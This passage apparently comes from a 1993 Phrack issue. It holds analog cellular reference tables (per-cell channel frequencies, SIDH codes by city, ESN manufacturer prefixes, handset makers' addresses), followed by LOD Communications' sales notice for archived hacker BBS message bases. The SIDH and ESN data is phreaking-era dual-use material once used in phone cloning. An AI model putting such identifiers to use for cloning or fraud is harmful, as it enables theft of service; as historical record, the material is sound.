Channel 13 (598) Tx 887.940 Rx 842.940

Channel 14 (619) Tx 888.570 Rx 843.570

Channel 15 (640) Tx 889.200 Rx 844.200

Channel 16 (661) Tx 889.830 Rx 844.830

Cell # 14

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (347) Tx 880.410 Rx 835.410

Channel 2 (368) Tx 881.040 Rx 836.040

Channel 3 (389) Tx 881.670 Rx 836.670

Channel 4 (410) Tx 882.300 Rx 837.300

Channel 5 (431) Tx 882.930 Rx 837.930

Channel 6 (452) Tx 883.560 Rx 838.560

Channel 7 (473) Tx 884.190 Rx 839.190

Channel 8 (494) Tx 884.820 Rx 839.820

Channel 9 (515) Tx 885.450 Rx 840.450

Channel 10 (536) Tx 886.080 Rx 841.080

Channel 11 (557) Tx 886.710 Rx 841.710

Channel 12 (578) Tx 887.340 Rx 842.340

Channel 13 (599) Tx 887.970 Rx 842.970

Channel 14 (620) Tx 888.600 Rx 843.600

Channel 15 (641) Tx 889.230 Rx 844.230

Channel 16 (662) Tx 889.860 Rx 844.860

Cell # 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (348) Tx 880.440 Rx 835.440

Channel 2 (369) Tx 881.070 Rx 836.070

Channel 3 (390) Tx 881.700 Rx 836.700

Channel 4 (411) Tx 882.330 Rx 837.330

Channel 5 (432) Tx 882.960 Rx 837.960

Channel 6 (453) Tx 883.590 Rx 838.590

Channel 7 (474) Tx 884.220 Rx 839.220

Channel 8 (495) Tx 884.850 Rx 839.850

Channel 9 (516) Tx 885.480 Rx 840.480

Channel 10 (537) Tx 886.110 Rx 841.110

Channel 11 (558) Tx 886.740 Rx 841.740

Channel 12 (579) Tx 887.370 Rx 842.370

Channel 13 (600) Tx 888.000 Rx 843.000

Channel 14 (621) Tx 888.630 Rx 843.630

Channel 15 (642) Tx 889.260 Rx 844.260

Channel 16 (663) Tx 889.890 Rx 844.890

Cell # 16

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (349) Tx 880.470 Rx 835.470

Channel 2 (370) Tx 881.100 Rx 836.100

Channel 3 (391) Tx 881.730 Rx 836.730

Channel 4 (412) Tx 882.360 Rx 837.360

Channel 5 (433) Tx 882.990 Rx 837.990

Channel 6 (454) Tx 883.620 Rx 838.620

Channel 7 (475) Tx 884.250 Rx 839.250

Channel 8 (496) Tx 884.880 Rx 839.880

Channel 9 (517) Tx 885.510 Rx 840.510

Channel 10 (538) Tx 886.140 Rx 841.140

Channel 11 (559) Tx 886.770 Rx 841.770

Channel 12 (580) Tx 887.400 Rx 842.400

Channel 13 (601) Tx 888.030 Rx 843.030

Channel 14 (622) Tx 888.660 Rx 843.660

Channel 15 (643) Tx 889.290 Rx 844.290

Channel 16 (664) Tx 889.920 Rx 844.920

Cell # 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (350) Tx 880.500 Rx 835.500

Channel 2 (371) Tx 881.130 Rx 836.130

Channel 3 (392) Tx 881.760 Rx 836.760

Channel 4 (413) Tx 882.390 Rx 837.390

Channel 5 (434) Tx 883.020 Rx 838.020

Channel 6 (455) Tx 883.650 Rx 838.650

Channel 7 (476) Tx 884.280 Rx 839.280

Channel 8 (497) Tx 884.910 Rx 839.910

Channel 9 (518) Tx 885.540 Rx 840.540

Channel 10 (539) Tx 886.170 Rx 841.170

Channel 11 (560) Tx 886.800 Rx 841.800

Channel 12 (581) Tx 887.430 Rx 842.430

Channel 13 (602) Tx 888.060 Rx 843.060

Channel 14 (623) Tx 888.690 Rx 843.690

Channel 15 (644) Tx 889.320 Rx 844.320

Channel 16 (665) Tx 889.950 Rx 844.950

Cell # 18

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (351) Tx 880.530 Rx 835.530

Channel 2 (372) Tx 881.160 Rx 836.160

Channel 3 (393) Tx 881.790 Rx 836.790

Channel 4 (414) Tx 882.420 Rx 837.420

Channel 5 (435) Tx 883.050 Rx 838.050

Channel 6 (456) Tx 883.680 Rx 838.680

Channel 7 (477) Tx 884.310 Rx 839.310

Channel 8 (498) Tx 884.940 Rx 839.940

Channel 9 (519) Tx 885.570 Rx 840.570

Channel 10 (540) Tx 886.200 Rx 841.200

Channel 11 (561) Tx 886.830 Rx 841.830

Channel 12 (582) Tx 887.460 Rx 842.460

Channel 13 (603) Tx 888.090 Rx 843.090

Channel 14 (624) Tx 888.720 Rx 843.720

Channel 15 (645) Tx 889.350 Rx 844.350

Channel 16 (666) Tx 889.980 Rx 844.980

Cell # 19

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (352) Tx 880.560 Rx 835.560

Channel 2 (373) Tx 881.190 Rx 836.190

Channel 3 (394) Tx 881.820 Rx 836.820

Channel 4 (415) Tx 882.450 Rx 837.450

Channel 5 (436) Tx 883.080 Rx 838.080

Channel 6 (457) Tx 883.710 Rx 838.710

Channel 7 (478) Tx 884.340 Rx 839.340

Channel 8 (499) Tx 884.970 Rx 839.970

Channel 9 (520) Tx 885.600 Rx 840.600

Channel 10 (541) Tx 886.230 Rx 841.230

Channel 11 (562) Tx 886.860 Rx 841.860

Channel 12 (583) Tx 887.490 Rx 842.490

Channel 13 (604) Tx 888.120 Rx 843.120

Channel 14 (625) Tx 888.750 Rx 843.750

Channel 15 (646) Tx 889.380 Rx 844.380

Cell # 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (353) Tx 880.590 Rx 835.590

Channel 2 (374) Tx 881.220 Rx 836.220

Channel 3 (395) Tx 881.850 Rx 836.850

Channel 4 (416) Tx 882.480 Rx 837.480

Channel 5 (437) Tx 883.110 Rx 838.110

Channel 6 (458) Tx 883.740 Rx 838.740

Channel 7 (479) Tx 884.370 Rx 839.370

Channel 8 (500) Tx 885.000 Rx 840.000

Channel 9 (521) Tx 885.630 Rx 840.630

Channel 10 (542) Tx 886.260 Rx 841.260

Channel 11 (563) Tx 886.890 Rx 841.890

Channel 12 (584) Tx 887.520 Rx 842.520

Channel 13 (605) Tx 888.150 Rx 843.150

Channel 14 (626) Tx 888.780 Rx 843.780

Channel 15 (647) Tx 889.410 Rx 844.410

Cell # 21

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Channel 1 (354) Tx 880.620 Rx 835.620

Channel 2 (375) Tx 881.250 Rx 836.250

Channel 3 (396) Tx 881.880 Rx 836.880

Channel 4 (417) Tx 882.510 Rx 837.510

Channel 5 (438) Tx 883.140 Rx 838.140

Channel 6 (459) Tx 883.770 Rx 838.770

Channel 7 (480) Tx 884.400 Rx 839.400

Channel 8 (501) Tx 885.030 Rx 840.030

Channel 9 (522) Tx 885.660 Rx 840.660

Channel 10 (543) Tx 886.290 Rx 841.290

Channel 11 (564) Tx 886.920 Rx 841.920

Channel 12 (585) Tx 887.550 Rx 842.550

Channel 13 (606) Tx 888.180 Rx 843.180

Channel 14 (627) Tx 888.810 Rx 843.810

Channel 15 (648) Tx 889.440 Rx 844.440

SIDH CODES

CITY NON WIRELINE WIRELINE

Abaline, TX 131 422

Aiken, GA 181 084

Akron, OH 073 054

Albany, GA 241 204

Albany, NY 063 078

Alburqueque, NM 079 110

Alexandria, VA 243 212

Allentown, PA 103 008

Alton, IL 017 046

Altoona, PA 247 032

Amarillo, TX 249 422

Anchorage, AK 251 234

Anderson, SC 139 116

Anniston, AL 255 098

Appleton, WI 217 240

Asheville, NC 263 246

Ashland, WV 307 xxx

Athens, AL 203 198

Athens, GA 041 034

Atlanta, GA 041 034

Atlantic City, NJ 267 250

Augusta, GA 181 084

Aurora, IL 001 020

Austin, TX 107 164

Bakersfield, CA 183 228

Baltimore, MD 013 018

Bangor, ME 271 254

Baton Rouge, LA 085 106

Battle Creek, MI 403 256

Beaumont, TX 185 012

Bellingham, WA 047 006

Beloit, WI 217 210

Benton Harbor, MI 277 260

Biddeford, ME 501 484

Billings, MT 279 262

Biloxi, MS 281 264

Binghampton, NY 283 266

Birmingham, AL 113 098

Bishop, CA 1063 xxx

Bismark, ND 285 268

Bloomington, IL 455 532

Boise, ID 289 272

Boston, MA 007 028

Bradenton, FL 175 042

Bremerton, WA 047 006

Bridgeport, CT 119 088

Bristol, TN 149 042

Brownsville, TX 451 434

Bryan, TX 297 280

Buffalo, NY 003 056

Burlington, NC 069 144

Burlington, VT 313 300

Canton, OH 073 054

Casper, WY 301 284

Cedar Falls, IA 589 568

Cedar Rapids, IA 303 286

Champaign, IL 305 532

Charleston, WV 307 290

Charleston, SC 127 156

Charlotte, NC 139 114 Charlottesville, VA 309 292

Chattanooga, TN 161 148

Chicago, IL 001 020

Cincinatti, OH 051 014

Clarksville, TN 179 296

Cleveland, OH 015 054

College Station, TX 297 280

Colorado Springs, CO 045 180

Columbia, SC 189 182

Columbus, GA 319 302

Columbus, OH 133 138

Corpus Christi, TX 191 184

Council BLuffs, IA 137 152

Cumberland, MD 321 304

Dallas, TX 033 038

Danville, VA 323 306

Davenport, IA 193 186

Dayton, OH 163 134

Daytona Beach, FL 325 308

Decatur, IL 327 532

Dennison, TX 033 038

Denver, CO 045 058

Des Moines, IA 195 150

Detroit, MI 021 010

Dotham, AL 329 312

Dubuque, IA 331 314

Duluth, MN 333 316

Durham, NC 069 144

Eau Claire, WI 335 318

Elgin, IL 001 020

El Paso, TX 097 092

Elkhart, IN 549 530

Elmira, NY 283 266

Enid, OK 341 324

Erie, PA 343 326

Eugene, OR 061 328

Evansville, IN 197 190

Fairbanks, AK ‑‑‑ 1018

Fargo, ND 347 330 Fayettesville, NC 349 100 Fayettesville, AR 607 342

Flint, MI 021 010

Florence, AL 351 334

Florence, SC 377 350

Fort Collins, CO 045 336

Fort Lauderdale, FL 037 024

Fort Myers, FL 355 042

Fort Pierce, FL 037 340

Fort Smith, AR 359 342

Fort Walton Beach, FL 361 344

Fort Wayne, IN 199 080

Fort Worth, TX 033 038

Fresno, CA 153 162

Gainesville, FL 365 348

Gadsden, AL 363 098

Galveston, TX 367 012

Glens Falls, NY 063 078

Grand Forks, ND 371 356

Grand Rapids, MI 021 244

Granite City, IL 017 046

Great Falls, MT 373 358

Greeley, CO 045 360

Green Bay, WI 217 362

Greensboro, NC 095 142

Greenville, SC 139 116

Gulf of Mexico, LA 171 194

Gulfport, MS ‑‑‑ 264

Gunterville, AL 203 198

Hagerstown, MD 381 364

Hamilton, OH 383 366

Harlingen, TX 451 434

Harrisburg, PA 159 096

Hartford, CT 119 088

Hickory, NC 385 368

Hilo, HI 1161 060

Holbrook, AZ 1027 ‑‑‑

Honolulu, HI 167 060

Houma, LA 387 370

Houston, TX 035 012

Huntington, WV 307 196

Huntsville, AL 203 198

Indianapolis, IN 019 080

Iowa City, IA 389 286

Jackson, MI 391 374

Jackson, MS 205 160

Jacksonville, FL 075 136

Jacksonville, NC 393 376

Janesville, WI 217 210

Jerseyville, IL 245 586

Johnson City, TN 149 074

Johnstown, PA 039 032

Joliet, IL 001 020

Joplin, MO 401 384

Juneau, AK ‑‑‑ 1022

Kalamazoo, MI 403 386

Kankakee, IL 001 020

Kansas City, MO 059 052

Kennewick, WA ‑‑‑ 500

Killeen, TX 409 392

Kingsport, TN 149 074

Knoxville, TN 093 104

Kokomo, IN 411 080

LaCross, WI 413 396

Lafayette, IN 415 080

Lafayette, LA 431 414

Lake Charkes, LA 417 400

Lakeland, FL 175 042

Lancaster, PA 159 096

Lansing, MI 021 188

Laredo, TX 419 402

Las Cruces, NM 097 404

Las Vegas, NV 211 064

Lawrence, KS 059 406

Lawton, OK 425 408

Lewiston, ME 427 482

Lexington, KY 213 206

Lihue, HI 1157 060

Lincoln, NE 433 416

Little Rock, AR 215 208

Longview, TX 229 418

Lorain, OH 437 054

Los Angeles, CA 027 002

Louisville, KY 065 076

Lubbock, TX 439 422

Lynchburg, VA 441 424

Macon, GA 443 426

Madison, WI 217 210

Manchester, NH 445 428

Mansfield, OH 447 430

Marshall, TX 229 418

McAllen, TX 451 434

Medford, OR 061 436

Melbourne, FL 175 068

Memphis, TN 143 062

Miami, FL 037 024

Midland, TX 459 422

Millville, NH ‑‑‑ 250

Milwaukee, WI 005 044

Minneapolis, MN 023 026

Mobile, AL 081 120

Modesto, CA 233 224

Moline, IL 193 186

Monroe, LA 463 440

Monterey, CA 527 126

Montgomery, AL 465 444

Moorehead, ND ‑‑‑ 330

Muncie, IN 467 080

Muskegon, MI 021 448

Nashua, NH 445 428

Nashville, TN 179 118

New Bedford, MA 119 028

New Brunswick, NY 173 022

New Haven, CT 119 088

New Orleans, LA 057 036

Newport News, VA 083 168

New York, NY 025 022

Norfolk, VA 083 168

Ocala, FL 473 348

Odessa, TX 475 422

Oklahoma City, OK 169 146

Olympia, WA 047 006

Omaha, NE 137 152

Orange County, NY 479 486

Orlando, FL 175 068

Ottawa, IL 1177 1178

Oxnard, CA 027 002

Panama City, FL 483 462

Parkersburg, WV 485 032

Pascagoula, MS 487 264

Pasco, WA ‑‑‑ 500

Pensacola, FL 361 120

Peoria, IL 221 214

Petaluma, CA 031 040

Petersburg, VA 071 472

Philadelphia, PA 029 008

Phoenix, AZ 053 048

Pine Bluff, AR 493 208

Pittsburg, PA 039 032

Pittsfield, MA 119 480

Placerville, CA ‑‑‑ 1080

Ponce, PR 497 082

Portland, ME 499 482

Portland, OR 061 030

Portsmouth, NH 501 484

Poughkeepsie, NY 503 486

Providence, RI 119 028

Provo, UT 091 488

Pueblo, CO 045 490

Raleigh, NC 069 144

Rapid City, SD 511 494

Reading, PA 103 008

Redding, CA 513 294

Reno, NV 515 498

Richland, WA 517 500

Richmond, VA 071 170

Roanoke, VA 519 502

Rochester, NH 501 484

Rochester, MN 521 504

Rochester, NY 117 154

Rockford, IL 217 506

Sacramento, CA 129 112

Saginaw, MI 021 389

Salem, OR 061 030

Salinas, CA 527 040

Salt Lake City, UT 091 094

San Angelo, TX 529 510

San Antonio, TX 151 122

San Deigo, CA 043 004

San Francisco, CA 031 040

San Jose, CA 031 040

San Juan, PR 227 218

Santa Barbara, CA 531 040

Santa Cruz, CA 031 126

Santa Rosa, CA 031 040

Sarasota, FL 175 142

Savanna, GA 539 520

Schenectady, NY 063 078

Scranton, PA 103 172

Seattle, WA 047 006

Sharon, PA 089 126

Sheboygan, WI 543 044

Shreveport, LA 229 220

Sioux City, IA 547 528

Sioux Falls, SD 555 540

South Bend, IA 549 530

Spartanburg, SC 139 116

Spokane, WA 231 222

Springfield, IL 551 532

Springfield, MO 559 546

Springfield, OH 573 134

Springfield, MA 119 188

St. Cloud, MN 553 534

St. Joseph, MO 059 536

St. Louis, MO 017 046

St. Petersberg, FL 175 042

State College, PA 159 032

Stuebenville, OH 039 032

Stockton, CA 233 224

Stroudsburg, PA 103 172

Syracuse, NY 077 086

Tacoma, WA 047 006

Tallahassee, FL 565 544

Tampa, FL 175 042

Temple, TX 409 392

Terre Haute, IN 567 080

Texarkana, TX 229 550

Toledo, OH 021 130

Topeka, KS 059 552

Trenton, PA 029 008

Tucson, AZ 053 140

Tulsa, OK 111 166

Tuscaloosa, AL 577 098

Ukiah, CA 1075 ‑‑‑

Utica, NY 235 226

Vallejo, CA 031 040

Victoria, TX 581 562

Vineland, NJ 583 250

Visalia, CA 153 162

Waco, TX 587 566

Warren, OH 089 126

Washington, DC 013 018

Waterloo, IA 589 568

Wausau, WI 591 570

West Palm Beach, FL 037 024

Wheeling, WV 039 032

Wichita Falls, TX 595 574

Wichita, KS 165 070

Wilkes Barr, PA 103 172

Williamsport, PA 103 576

Wilmington, DE 123 008

Wilmington, NC 599 578 Winston‑Salem, NC 095 142

Worcester, MA 007 028

Yakima, WA 601 580

York, PA 159 096

Youngstown, OH 089 126

Yuba City, CA 129 112

ESN PREFIXES BY MANUFACTURER

Manufacturer Decimal Hex

Alpine Electronics 150 96 AT&T 158 9E Audiovox‑Audiotel 138 8A Blaupunkt 148 94 Clarion Company 140 8C Clarion Manufacturing Co. 166 A6 CM Communications 153 99 Di‑Bar Electronics 145 91 E.F. Johnson 131 83 Emptel Electronics 178 B2 Ericsson 143 8F Ericsson GE Mobile 157 9D Fujitsu 133 85 Gateway Telephone 147 93 General Electric 146 92 Goldstar Products 141 8D Harris 137 89 Hitachi 132 84 Hughes Network Systems 164 A4 Hyundai 160 A0 Japan Radio Co., Ltd. 152 98 Kokusai 139 8B Mansoor Electronics 167 A7 Mobira 156 9C Motorola 130 82 Motorola International 168 A8 Mitsubishi 134 86 Murata Machinery 144 90 NEC 135 87 Nokia 165 A5 Novatel 142 8E OKI 129 81 Panasonic (Matsushita) 136 88 Philips Circuit Assemblies 171 AB Philips Telecom 170 AA Qualcomm 159 9F Samsung Corp. 176 B0 Sanyo 175 AF Satellite Technology Services 161 A1 Shintom West 174 AE Sony Corp. 154 9A Tama Denki Co. 155 9B Tecnhophone 162 A2 Uniden Corp. of America 172 AC Uniden Corp. of Japan 173 AD Universal Cellular 149 95 Yupiteru Industries 163 A3

Manufacturers' Addresses

Alpine Electronics of America

191456 Gramercy Place

Torrance, CA 90501

310‑326‑8000

Antel Corporation

400 Oser Avenus

Hauppauge, NY 11788

516‑273‑6800

AT&T Consumer Products

5 Woodhollow Drive

Parsippany, NJ 07054

201‑581‑3000

Audiovox Corp.

150 marcus Blvd.

Hauppauge, NY 11788

516‑231‑7750

Blaupunkt

Robert Bosch Corp.

2800 S. 25th Avenue

Broadview, IL 60153

708‑865‑5200

Clarion Corp. of America

661 W. Redondo Beach Blvd.

Gardena, CA 90247

310‑327‑9100

DiamondTel

Mitsubishi Electronics of America

800 Biermann Court

Mt. Prospect, IL 60056

708‑298‑9223

Ericsson

P.O. Box 4248

Lynchburg, VA 24502

800‑CAR‑FONE

Fujitsu America, Inc.

2801 Telecom Parkway

Richardson, TX 75082

214‑690‑9660

GE Mobile Communications

P.O. Box 4248

Lyunchburg, VA 24502

800‑CAR‑FONE

GoldStar

1850 W. Drake Drive

Tempe, AZ 85283

602‑752‑2200

Hughes Network Systems

11717 Exploration Lane

Germantown, MD 20876

301‑428‑5500

Kenwood USA Corp.

2201 E. Dominguez Street

Long Beach, CA 90810

310‑639‑9000

Mitsubishi International

1500 Michael Drive, Suite B

Wood Dale, IL 60191

708‑860‑4200

Motorola, Inc.

1475 W. Shure Drive

Arlington Heights, IL 60004

708‑632‑5000

800‑331‑6456

Muratec

5560 Tennyson Parkway

Plano, TX 75024

214‑403‑3300

NEC America, Inc.

Mobile Radio Division

383 Omni Drive

Richardson, TX 75080

214‑907‑4000

Nokia Mobile Phones

2300 Tall Pines Drive, Suite 120

Largo, FL 34641

813‑536‑5553

NovAtel

P.O. Box 1233

Fort Worth, TX 76101

817‑847‑2100

OKI Telecom

437 Old Peachtree Road

Suwanee, GA 30174

404‑995‑9800

Omni Cellular

96 S. Madison Street

Carthage, IL 62321

217‑357‑2308

Panasonic Communications

Two Panasonic Way

Secaucus, NJ 07094

201‑348‑7000

Panasonic Company

One Panasonic Way

Secaucus, NJ 07096

201‑348‑9090

Pioneer Electronics

2265 E. 220th Street

Long Beach, CA 90810

310‑835‑6177

Sanyo

21350 Lassen Street

Chatsworth, CA 91311

800‑421‑5013

818‑998‑7200

Shintom West

20435 South Western Avenue

Torrance, CA 90501

310‑328‑7200

Sony Corp. of America

Sony Drive

Park Ridge, NJ 07656

201‑930‑1000

Tandy Corp.

700 One Tandy Center

Fort Worth, TX 76102

817‑390‑3300

Technophone Corp.

1801 Penn Street, Suite 3

Melbourne, FL 32901

407‑952‑2100

Uniden America Corp.

4700 Amon Carter Blvd.

Fort Worth, TX 71655

LODCOM BBS Archive Information

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 18 of 27

The LOD Communications Underground H/P BBS Message Base Project: Price Listing of Currently Available Message Bases and Order Form. Holdings List Version #1, 5/15/93

This file contains:

‑ Background information on the project;

‑ Currently completed message bases with prices; and, ‑ Order form and stipulations.

If you have already seen some of the background information contained in the following paragraphs, note that additional information has been added. The aim was to make this file as self‑contained as possible. It is approximately seven pages in length (23K) and it should answer all of your questions.

The Project:

‑‑‑‑‑‑‑‑‑‑‑‑

Throughout history, physical objects have been preserved for posterity for the benefit of the next generation of humans. Cyberspace, however, isn't very physical; data contained on floppy diskettes has a finite lifetime as does the technology to retrieve that data. The earliest underground hacker bulletin board systems operated at a time when TRS‑80s, Commodore 64s, and Apple ][s were state‑of‑the‑art. Today, it is difficult to find anyone who has one of these machines in operating condition, not to mention the brain cells left to recall how to operate them. :‑(

LOD Communications has created a historical library of the "dark" portion of Cyberspace. The project's goal is to acquire as much information as possible from underground Hack/Phreak (H/P) bulletin boards that were in operation during a decade long period, dating from the beginnings (in 1980/81 with 8BBS and MOM: Modem Over Manhattan) to the legendary OSUNY, Plover‑NET, Legion of Doom!, Metal Shop, etc. up through the Phoenix Project circa 1989/90. Currently, messages from over 50 different BBSes have been retrieved, although very few message bases are 100% complete. However, not having a complete "set" does not diminish their value.

Who Benefits From This Information?:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ PARTICIPANTS who were on the various H/P BBSes may want to see their contribution to history or reminisce about the "golden era" of hacking;

‑ ENTHUSIASTS who came into the "scene" after most of these boards were down may want to see what they missed;

‑ COMPANIES who may want to see if their (or their competitors') phone systems, computers, or networks were compromised;

‑ SECURITY PROFESSIONALS/LAW ENFORCEMENT who may want to see what techniques were used to subvert computer security systems;

‑ SCHOOLS AND UNIVERSITIES (including their libraries) who may want to use the information for research in sociology or computer science as well as for educational purposes in courses such as Computer Law, Computer Ethics, and Computer Security;

‑ AUTHORS/PRESS who may want to finally get the facts straight about "hackers;" and,

‑ THE CURIOUS PUBLIC who may want to sneak a peek into the inner realm of the Computer Underground, especially those Restricted Access BBSes and their Private sub‑boards where only a small handful of "the best" resided.

Were the individuals involved in the Computer Underground out to start World War III, selling secrets to the Soviets, working with organized crime, conspiring to do evil, or just a bunch of bored teenagers with nothing better to do? How much did they know, and how did they find it out? Did they have the capability to shut down phone service of Area Code portions? Could they ruin someone's credit? Could they "move satellites in the heavens?" Could they monitor packet switching network conversations or YOUR conversations? The answers lie within the messages themselves.

Why is LODCOM Charging Money For The Message Bases?:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As happens with most projects, the effort and monetary investment turned out to be substantially more than originally anticipated. With all of the hightech equipment available today, people sometimes forget that in the early 1980s, 14.4K baud modems and 250 MB hard drives were just a fantasy for the home computer user. Most messages Lodcom has recovered were downloaded at 300 baud onto 143K disk drives, with each file usually no larger than 15K in size. One could not call a BBS and download the complete message base in 10 minutes and save it into one file. Literally hundreds of man‑hours have been spent copying dusty Apple ][ disks, transferring them to IBM (or typing in hard copy versions when electronic versions were unavailable), organizing over one thousand individual files (thus far) according to what BBS the messages were originally posted on, and splicing the files together. Also, after consulting with the appropriate civil liberties organizations and our own legal counsel, a slight editing of the messages (restricted to long distance access codes, phone numbers, and computer passwords) had to be made to ensure that there is nothing illegal contained within the messages. Every effort was made to keep the messages in their pristine condition: 40 columns, ALL CAPS, spelling errors, offensive language, inaccuracies of various kinds, and ALL.

Although a fairly comprehensive collection of the goings‑on during a decade of public and private computer underground activity has been accomplished, there are more messages out there. It is our wish to continue to document the History of the Computer Underground. In order to do this, and in order to break even on what resources have already been expended (it is a LOT more than most people realize), a dollar value has been attached to each set of message bases. The dollar values were kept as low as possible and range from $1.00 to $8.00 for each H/P BBS Message Base Set. Without your understanding and support, this effort may not be able to sustain itself long enough to complete the project. A large portion of any profits will be recycled for two other projects in the works, whose aim is to provide additional historical background on the Computer Underground Community. That is, no one involved is quitting their day job :‑)

One additional note: For those who purchase the Metal Shop Private Message Base, 100% of the price ($4.00) will be donated to help pay for Craig Neidorf's (Knight Lightning) Legal Defense bills (due to his successful campaign to protect First Amendment rights for electronic publishing, i.e. the PHRACK/E911 case).

How The Prices Were Determined:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Prices were determined based on the following considerations:

‑ The number of years ago that the BBS operated (affected availability);

‑ The total number of messages compiled (required more time to compile);

‑ Its popularity and message content (anticipated demand);

‑ Whether the BBS or portions thereof were deemed "elite" and, therefore, restricted access to a small number of users (affected availability); and,

‑ An additional factor to account for overhead costs such as diskettes, diskette mailing containers, postage, time to fill orders, etc.

What Each "Message Base File" Contains:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ A two page general message explaining H/P BBS terminology and format.

‑ The BBS Pro‑Phile: A historical background and description of the BBS either written by the original system operator(s) or those who actually called the BBS when it was in operation (it took months to track the appropriate people down and get them to write these specifically for this project; lesser known BBSes may not contain a Pro‑Phile);

‑ Messages posted to the BBS (i.e. the Message Base);

‑ Downloaded Userlists if available; and

‑ Hacking tutorials a.k.a. "G‑Philes" that were on‑line if available.

It is anticipated that most people who are interested in the message bases have never heard of a lot of the BBS names shown in the listing. If you have seen one set of messages, you have NOT seen them ALL. Each system had a unique personality, set of users, and each has something different to offer. If you decide to order the minimum, we recommend that you mix a high‑priced base ($7.00 or above) with a couple of medium‑priced bases ($4.00 to $6.00) and a few lower‑priced bases ($1.00 to $3.00). This will provide you with a feel for what was happening over a broad range of years and message quality. Of course, nothing beats the full set (offered at a discount, see order form).

Formats the Message Base Files are Available in:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Due to the large size of the Message Base Files, they will be compressed using the format of your choice. Please note that Lodcom does NOT include the compression/decompression program (PKZIP, PAK, etc.). ASCII (decompressed) files will be provided for $2.00 extra to cover additional diskette and shipping costs. The files are available for:

‑ IBM (5.25 or 3.5 inch)

‑ AMIGA (3.5 inch)

‑ APPLE MACINTOSH (3.5 inch)

‑ PAPER versions can be ordered but cost triple (due to increased shipping costs, time to print order, and messages being in 40 column format and therefore wasting lots of paper...save those trees!). Paper versions take twice the time to deliver but are laser printed.

Orders are expected to arrive at the requesters' physical mail box in 2‑4 weeks upon receipt of the order.

FAQs (Frequently Asked Questions):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

QUESTION: How long will these Message Base Files be available?

ANSWER: We cannot say for sure. This is an ongoing effort and your support will allow us to continue until we are satisfied with having recovered the last decent scraps of messages out there. Assuming there is a demand for these messages, all H/P BBSes of WORTH (i.e. NON‑"codez" and NON‑"warez" systems) are expected to be offered by the end of the Summer of 1993. A Guesstimate of what will be offered is 80 to 100 Message Bases, half of which will be rather partial. Orders are expected to be filled up until the end of 1993 although this may change. Regardless, we will send out notification well in advance of ceasing operations.

QUESTION: "Can I help out? I have some old messages" (either on a C64, Apple, IBM [best for us], or printout).

ANSWER: Contact us ASAP! We will work out an equitable agreement depending on the quantity, quality, format, and "ancientness" of the messages. Your contribution will not go unrecognized.

QUESTION: Say if I purchase BBS "X" which has 100 messages and the next Version of your Price Listing shows BBS "X" now has 200 messages, do I have to pay the for the first 100 all over again if I want the other 100 messages?

ANSWER: No. If a small number of additional messages are added, they will be sent for the price of a diskette and postage only, i.e. the information will be free. If a larger number such as 100 new messages are added, then if you previously purchased the message base, the additional messages will be discounted. Those who pay the Commercial Rate (corporations, government, etc.) will receive updates of the purchased Volume for FREE regardless of how many new messages there are, and LODCOM also pays for the postage and diskette(s).

QUESTION: What if I purchase the minimum order now and, when the next Version of the price list is released, I want to get more Message Bases? Do I have to still pay the $20.00 minimum?

ANSWER: No. If you are a previous customer, the minimum is cut in half, that is, $10.00. Commercial customers who bought Volume #1 (the current "Complete Set"), are obviously not obligated to purchase the added Message Bases (the next Volume).

QUESTION: I would really like to get a feel for what one or two of the boards were like before I order them. Can I get more info?

ANSWER: Yes. A Sample of Actual Messages is available by performing the following, so long as you have TELNET access to the Internet:

Telnet to: 198.67.3.2 [IP Address for PHANTOM.COM] Type: mindvox [To enter the Mindvox system] login as: guest [To look around]

At prompt: finger lodcom [To see our Sample Messages File]

If you do not have TELNET access to the Internet, AND your host will NOT "bounce" a 50K file, Lodcom will send you the Sample Messages File if you specifically request it.

The Price List:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LOD Communications (c) 1993: Price List of Hack/Phreak BBS Message Bases

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BBS NAME A/C SYSOP(S) # MSGS DATES KBYTES PRICE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

